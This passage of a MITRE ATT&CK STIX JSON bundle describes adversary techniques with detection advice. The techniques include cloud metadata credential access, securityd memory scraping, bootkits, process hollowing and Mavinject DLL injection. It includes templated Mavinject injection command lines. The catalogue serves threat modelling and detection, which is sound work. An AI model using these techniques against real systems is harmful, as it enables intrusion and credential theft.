            "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor access to the Instance Metadata API and look for anomalous queries.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "User Account: User Account Authentication"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72",
            "created": "2020-02-12T18:56:31.051Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1555/002",
                    "external_id": "T1555.002"
                },
                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024.",
                    "url": "https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418"
                },
                {
                    "source_name": "Apple Dev SecurityD",
                    "description": "Apple. (n.d.). Security Server and Security Agent. Retrieved March 29, 2024.",
                    "url": "https://developer.apple.com/library/archive/documentation/Security/Conceptual/Security_Overview/Architecture/Architecture.html"
                },
                {
                    "source_name": "OS X Keychain",
                    "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20130106164109/https://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:05:25.349Z",
            "name": "Securityd Memory",
            "description": "An adversary with root access may gather credentials by reading `securityd`\u2019s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user\u2019s logon keychain. This may provide the adversary with various plaintext passwords, such as those for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple\u2019s `securityd` utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Process: Process Access"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1b20efbf-8063-4fc3-a07d-b575318a301b",
            "created": "2021-08-06T13:10:12.916Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1615",
                    "external_id": "T1615"
                },
                {
                    "source_name": "ADSecurity GPO Persistence 2016",
                    "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
                    "url": "https://adsecurity.org/?p=2716"
                },
                {
                    "source_name": "Microsoft gpresult",
                    "description": "Microsoft. (2017, October 16). gpresult. Retrieved August 6, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult"
                },
                {
                    "source_name": "Github PowerShell Empire",
                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
                    "url": "https://github.com/PowerShellEmpire/Empire"
                },
                {
                    "source_name": "TechNet Group Policy Basics",
                    "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.",
                    "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:38:54.812Z",
            "name": "Group Policy Discovery",
            "description": "Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment. Group Policy allows for centralized management of user and computer settings in Active Directory (AD). Group policy objects (GPOs) are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)\n\nAdversaries may use commands such as <code>gpresult</code> or various publicly available PowerShell functions, such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code>, to gather information on Group Policy settings.(Citation: Microsoft gpresult)(Citation: Github PowerShell Empire) Adversaries may use this information to shape follow-on behaviors, including determining potential attack paths within the target network as well as opportunities to manipulate Group Policy settings (i.e. [Domain or Tenant Policy Modification](https://attack.mitre.org/techniques/T1484)) for their benefit.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ted Samuels, Rapid7",
                "Jonhnathan Ribeiro, 3CORESec, @_w0rk3r"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor for suspicious use of <code>gpresult</code>. Monitor for the use of PowerShell functions such as <code>Get-DomainGPO</code> and <code>Get-DomainGPOLocalGroup</code> and processes spawning with command-line arguments containing <code>GPOLocalGroup</code>.\n\nMonitor for abnormal LDAP queries with filters for <code>groupPolicyContainer</code> and high volumes of LDAP traffic to domain controllers. Windows Event ID 4661 can also be used to detect when a directory service has been accessed.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Script: Script Execution",
                "Active Directory: Active Directory Object Access",
                "Process: Process Creation",
                "Command: Command Execution",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba",
            "created": "2019-12-19T21:05:38.123Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1542/003",
                    "external_id": "T1542.003"
                },
                {
                    "source_name": "Lau 2011",
                    "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
                    "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion"
                },
                {
                    "source_name": "Mandiant M Trends 2016",
                    "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"
                },
                {
                    "source_name": "welivesecurity",
                    "description": "Martin Smol\u00e1r. (2023, March 1). BlackLotus UEFI bootkit: Myth confirmed. Retrieved February 11, 2025.",
                    "url": "https://www.welivesecurity.com/2023/03/01/blacklotus-uefi-bootkit-myth-confirmed/"
                },
                {
                    "source_name": "Microsoft Security",
                    "description": "Microsoft Incident Response. (2023, April 11). Guidance for investigating attacks using CVE-2022-21894: The BlackLotus campaign. Retrieved February 12, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:10.739Z",
            "name": "Bootkit",
            "description": "Adversaries may use bootkits to persist on systems. A bootkit is a malware variant that modifies the boot sectors of a hard drive, allowing malicious code to execute before a computer's operating system has loaded. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\nIn BIOS systems, a bootkit may modify the Master Boot Record (MBR) and/or Volume Boot Record (VBR).(Citation: Mandiant M Trends 2016) The MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code.(Citation: Lau 2011)\n\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.\n\nIn UEFI (Unified Extensible Firmware Interface) systems, a bootkit may instead create or modify files in the EFI system partition (ESP). The ESP is a partition on data storage used by devices containing UEFI that allows the system to boot the OS and other utilities used by the system. An adversary can use the newly created or patched files in the ESP to run malicious kernel code.(Citation: Microsoft Security)(Citation: welivesecurity)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Drive: Drive Modification",
                "File: File Modification"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "created": "2017-05-31T21:30:31.584Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1025",
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            "modified": "2025-04-15T19:58:10.837Z",
            "name": "Data from Removable Media",
            "description": "Adversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information. \n\nSome adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on removable media.",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d",
            "created": "2017-05-31T21:31:26.474Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1116",
                    "external_id": "T1116"
                },
                {
                    "source_name": "Wikipedia Code Signing",
                    "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Code_signing"
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                {
                    "source_name": "Janicab",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/"
                },
                {
                    "source_name": "Securelist Digital Certificates",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
                },
                {
                    "source_name": "Symantec Digital Certificates",
                    "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
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            "name": "Code Signing",
            "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.",
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                    "phase_name": "defense-evasion"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "type": "attack-pattern",
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            "created": "2021-09-22T17:45:10.241Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/013",
                    "external_id": "T1218.013"
                },
                {
                    "source_name": "ATT Lazarus TTP Evolution",
                    "description": "Fernando Martinez. (2021, July 6). Lazarus campaign TTPs and evolution. Retrieved September 22, 2021.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/lazarus-campaign-ttps-and-evolution"
                },
                {
                    "source_name": "LOLBAS Mavinject",
                    "description": "LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Mavinject/"
                },
                {
                    "source_name": "Mavinject Functionality Deconstructed",
                    "description": "Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021.",
                    "url": "https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e"
                },
                {
                    "source_name": "Reaqta Mavinject",
                    "description": "Reaqta. (2017, December 16). From False Positive to True Positive: the story of Mavinject.exe, the Microsoft Injector. Retrieved September 22, 2021.",
                    "url": "https://reaqta.com/2017/12/mavinject-microsoft-injector/"
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            "modified": "2025-04-15T22:48:44.734Z",
            "name": "Mavinject",
            "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. <code>C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL</code>).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its  <code>/HMODULE</code> command-line parameter (ex. <code>mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER</code>). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the execution and arguments of mavinject.exe. Compare recent invocations of mavinject.exe with prior history of known good arguments and injected DLLs to determine anomalous and potentially adversarial activity.\n\nAdversaries may rename abusable binaries to evade detections, but the argument <code>INJECTRUNNING</code> is required for mavinject.exe to perform [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001) and may therefore be monitored to alert malicious activity.",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "2.0",
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f",
            "created": "2019-09-04T14:41:32.317Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1522",
                    "external_id": "T1522"
                },
                {
                    "source_name": "AWS Instance Metadata API",
                    "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.",
                    "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html"
                },
                {
                    "source_name": "RedLock Instance Metadata API 2018",
                    "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
                    "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse"
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            "object_marking_refs": [
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            "modified": "2025-04-25T15:15:13.393Z",
            "name": "Cloud Instance Metadata API",
            "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.\n",
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                {
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                    "phase_name": "credential-access"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "* Monitor access to the Instance Metadata API and look for anomalous queries.\n* It may be possible to detect adversary use of credentials they have obtained. See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\n",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21",
            "created": "2017-05-31T21:31:09.815Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1093",
                    "external_id": "T1093"
                },
                {
                    "source_name": "Leitch Hollowing",
                    "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.",
                    "url": "http://www.autosectools.com/process-hollowing.pdf"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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            "object_marking_refs": [
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            "modified": "2025-04-25T15:15:13.596Z",
            "name": "Process Hollowing",
            "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Elastic Process Injection July 2017)",
            "kill_chain_phases": [
                {
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "created": "2020-03-13T21:13:10.467Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1074/001",
                    "external_id": "T1074.001"
                },
                {
                    "source_name": "Prevailion DarkWatchman 2021",
                    "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022.",
                    "url": "https://web.archive.org/web/20220629230035/https://www.prevailion.com/darkwatchman-new-fileless-techniques/"
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            "modified": "2025-04-15T19:58:11.270Z",
            "name": "Local Data Staging",
            "description": "Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.\n\nAdversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)",
            "kill_chain_phases": [
                {
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                    "phase_name": "collection"
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nConsider monitoring accesses and modifications to local storage repositories (such as the Windows Registry), especially from suspicious processes that could be related to malicious data collection.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
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                "Windows Registry: Windows Registry Key Modification",
                "File: File Access",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "created": "2020-02-10T20:43:10.239Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/005",
                    "external_id": "T1036.005"
                },
                {
                    "source_name": "Twitter ItsReallyNick Masquerading Update",
                    "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.",
                    "url": "https://x.com/ItsReallyNick/status/1055321652777619457"
                },
                {
                    "source_name": "Docker Images",
                    "description": "Docker. (n.d.). Docker Images. Retrieved April 6, 2021.",
                    "url": "https://docs.docker.com/engine/reference/commandline/images/"
                },
                {
                    "source_name": "Elastic Masquerade Ball",
                    "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
                    "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"
                },
                {
                    "source_name": "Aquasec Kubernetes Backdoor 2023",
                    "description": "Michael Katchinskiy and Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved March 24, 2025.",
                    "url": "https://www.aquasec.com/blog/leveraging-kubernetes-rbac-to-backdoor-clusters/"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:11.443Z",
            "name": "Match Legitimate Resource Name or Location",
            "description": "Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation. \n\nThis may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: `svchost.exe`). Alternatively, a Windows Registry key may be given a close approximation to a key used by a legitimate program. In containerized environments, a threat actor may create a resource in a trusted namespace or one that matches the naming convention of a container pod or cluster.(Citation: Aquasec Kubernetes Backdoor 2023)",
            "kill_chain_phases": [
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            "x_mitre_contributors": [
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                "Vishwas Manral, McAfee"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nIn containerized environments, use image IDs and layer hashes to compare images instead of relying only on their names.(Citation: Docker Images) Monitor for the unexpected creation of new resources within your cluster in Kubernetes, especially those created by atypical users.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "2.0",
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                "Process: Process Metadata",
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        {
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            "id": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd",
            "created": "2018-01-16T16:13:52.465Z",
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                    "url": "https://attack.mitre.org/techniques/T1172",
                    "external_id": "T1172"
                },
                {
                    "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015",
                    "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
                    "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
